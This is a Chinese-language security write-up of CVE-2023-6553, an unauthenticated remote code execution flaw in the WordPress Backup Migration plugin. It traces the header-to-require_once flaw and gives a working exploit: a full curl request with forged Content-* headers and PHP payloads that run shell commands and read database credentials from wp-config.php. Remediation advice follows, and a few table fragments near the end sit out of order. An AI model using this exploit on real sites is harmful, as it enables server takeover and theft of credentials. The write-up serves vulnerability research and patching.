插件: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8(严重)
CWE: CWE-98 — 对用于 Include/Require 语句的文件名控制不当
身份验证要求: 无
影响: 远程代码执行
Backup Migration 是一个相当流行的 WordPress 插件(约 90,000+ 个活跃安装),可帮助用户创建备份副本。在备份过程中,插件有一个名为 backup-heart.php 的文件在后台运行——它通过 HTTP 头接收配置信息,以了解需要备份哪个目录、配置文件位于何处等信息。
问题在于,该文件完全信任客户端发送的 HTTP 头,直接将头值放入文件路径,然后使用 require_once() 从该路径加载文件。攻击者只需发送指向包含恶意 PHP 代码目录的 Content-Dir 头 → 服务器就会自动包含并执行该文件。
值得注意的是,backup-heart.php 文件不需要身份验证——它只检查请求方法是否为 POST,而不验证任何 nonce 或用户权限。互联网上的任何人都可以向它发送请求。
⇒ 这是一个零点击漏洞。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2023-6553 |
| CVSS 评分 | 9.8(严重) |
| 插件 | backup-backup (Backup Migration) ≤ 1.3.7 |
| 身份验证 | 不需要 |
| 用户交互 | 无(零点击) |
| 已修复 | 版本 1.3.8 |
PHP 有 include()、require()、require_once() 等函数,用于将其他 PHP 文件包含到正在运行的程序中。当传给这些函数的文件路径来自用户输入且未经验证时,攻击者可以强制服务器包含他们想要的任何文件:
allow_url_include=On(通常默认禁用)。此 CVE 属于 LFI——攻击者控制传给 require_once() 的路径,使其指向攻击者已设法写入服务器的 PHP 文件。
许多开发人员认为 HTTP 头是只有服务器和客户端才知道的“内部”元数据。实际上,攻击者 100% 控制头内容——他们可以设置任何头名称和值。信任头就像信任表单输入一样——必须经过验证。
define() 与 PHP 常量define('NAME', $value) 会创建一个在整个应用程序中使用的常量。一旦被 define,该值就无法更改。如果 $value 来自攻击者,那么使用该常量的每个地方都会受到影响。
我首先使用 grep 在插件中搜索所有 require 和 include 语句:
grep -rn "require\|include" includes/

搜索结果返回了许多 require/include 调用。查看后发现,大多数是 banner/misc.php 和 banner/views/index.php 中的 include_once 调用——这些属于使用硬编码路径的管理员 UI 渲染代码,无法利用。
然而,backup-heart.php 中的两行引起了我的注意:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
第 118 行使用 require_once 和常量 BMI_INCLUDES——如果这个常量是硬编码的,那就是安全的。但向上看到第 64 行时,我发现 BMI_INCLUDES 是由另一个常量 BMI_ROOT_DIR 构造的。因此我们需要进一步追踪:BMI_ROOT_DIR 在哪里被赋值?
我再次使用 grep 进行追踪:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
结果:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
第 62 行显示 BMI_ROOT_DIR 的值来自 $fields['content-dir']。这是一个变量,不是固定值——我们需要打开文件,看看 $fields 里包含什么。
我在 VS Code 中打开 backup-heart.php 第 62 行:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

可以清楚地看到,$fields['content-dir'] 直接进入了 define()。现在我们需要确定 $fields 变量是在哪里被赋值的:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


此时,根本原因变得非常清楚:$fields 保存着通过 getallheaders() 获取的所有 HTTP 头——完全由客户端控制。没有 wp_verify_nonce(),没有 current_user_can(),没有有效路径检查——它只是验证 POST 方法,然后直接读取头。
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
根本原因总结: HTTP 头 → define() → require_once(),中间没有任何验证步骤。
我使用 Xdebug + VS Code 直观地确认了攻击流程。我在 backup-heart.php 的第 62 行和第 118 行设置了 2 个断点,然后使用 curl 发送了漏洞利用请求。
断点 1——第 62 行:
调试器正好停在 define('BMI_ROOT_DIR', $fields['content-dir']) 处。在“变量”面板中展开 $fields 变量,显示了一个包含 22 个元素的数组——包含客户端发送的所有 HTTP 头。具体来说:
content-dir = "/tmp/bmi/" — 这正是通过头发送的值,它被直接赋值给 BMI_ROOT_DIR 常量。content-abs = "/var/www/html/"、content-configdir = "/tmp/bmi/"、content-backups = "/tmp/bmi/back..." — 全部由攻击者控制。在将 content-dir 传给 define() 之前,没有应用任何验证或过滤步骤。

断点 2——第 118 行:
按 F5 后,调试器停在 require_once BMI_INCLUDES . '/bypasser.php' 处。查看状态:
$fields 仍然保留着 content-dir = "/tmp/bmi/" —— 证明该值在第 62 行到第 118 行之间没有被更改。{main} backup-heart.php 118:1 —— 代码从文件顶部直接执行到这个位置,绕过了任何中间件或身份验证检查。/tmp/bmi/includes/bypasser.php 的文件——该文件的内容由攻击者控制。
调试结果完美确认了第 3 步中分析的流程:HTTP 头从 getallheaders() → define() → require_once(),中间没有验证。
在触发包含之前,目标服务器上必须已经存在一个 PHP 文件。常见的技术包括:
| 方法 | 概念 |
|---|---|
| 日志投毒 | 在 User-Agent 中发送包含 <?php ... ?> 的请求 → 代码被写入访问日志 → 包含日志文件 |
| PHP 会话 | 将 PHP 代码写入位于 的会话文件 |
发送一个 Content-Dir 指向包含 payload 目录的请求。服务器会自动 require 并执行攻击者的文件。
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
必须提供所有 Content-* 头,因为 backup-heart.php 会在其他 define() 调用中使用它们——缺少头会触发 PHP 警告,并可能在执行到 require_once 之前中止运行。
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
返回 200——端点已开放,且不提示身份验证。

创建与 require_once 预期查找结构匹配的目录:{Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
输出结果:

RCE 成功——服务器执行了 id 命令并返回输出。
在确认 RCE 后,我修改了 payload,以演示攻击者可以读取服务器上的敏感信息。将 payload 文件内容改为读取 wp-config.php:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
重新发送相同的 curl 漏洞利用请求 → 输出返回数据库连接信息:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
攻击者可以读取 www-data 有权访问的任何文件——wp-config.php、/etc/passwd、其他插件的源代码——从而扩大攻击面。

进一步修改 payload,以演示攻击者可以收集服务器系统信息——有助于权限提升或横向移动:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
发送 curl 漏洞利用请求 → 输出:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

从该输出中,攻击者可以发现:
172.18.0.3——确认服务器位于 Docker 网络内,从而能够转向其他容器(数据库、缓存等)backup-heart.php 位于磁盘上,可以直接通过 URL 访问。不要使用 HTTP 头来确定文件路径。使用基于 __DIR__ 的相对路径:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
添加授权检查——只允许 WordPress 管理员调用此端点:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php 的可疑请求。/wp-content/plugins/*/includes/*.php 发送 POST 请求。/tmp/sess_xxx| 上传链 | 利用 WordPress 媒体/头像上传功能上传该文件 |
| 插件错误日志 | 插件会写入自己的错误日志——触发包含 PHP 代码的错误,从而将代码写入日志文件 |
| CVSS 指标 | 值 | 原因 |
|---|
| 攻击向量 | 网络 | 通过 HTTP |
| 攻击复杂度 | 低 | 1 个 POST 请求,无需特殊时机或条件 |
| 所需权限 | 无 | 端点不需要身份验证 |
| 用户交互 | 无 | 攻击者驱动,受害者无需交互 |
| 机密性 | 高 | 可读取任意文件:wp-config.php、/etc/passwd、源代码 |
| 完整性 | 高 | 任意文件写入、安装 WebShell、修改数据库 |
| 可用性 | 高 | 删除文件、终止进程、完全控制服务器 |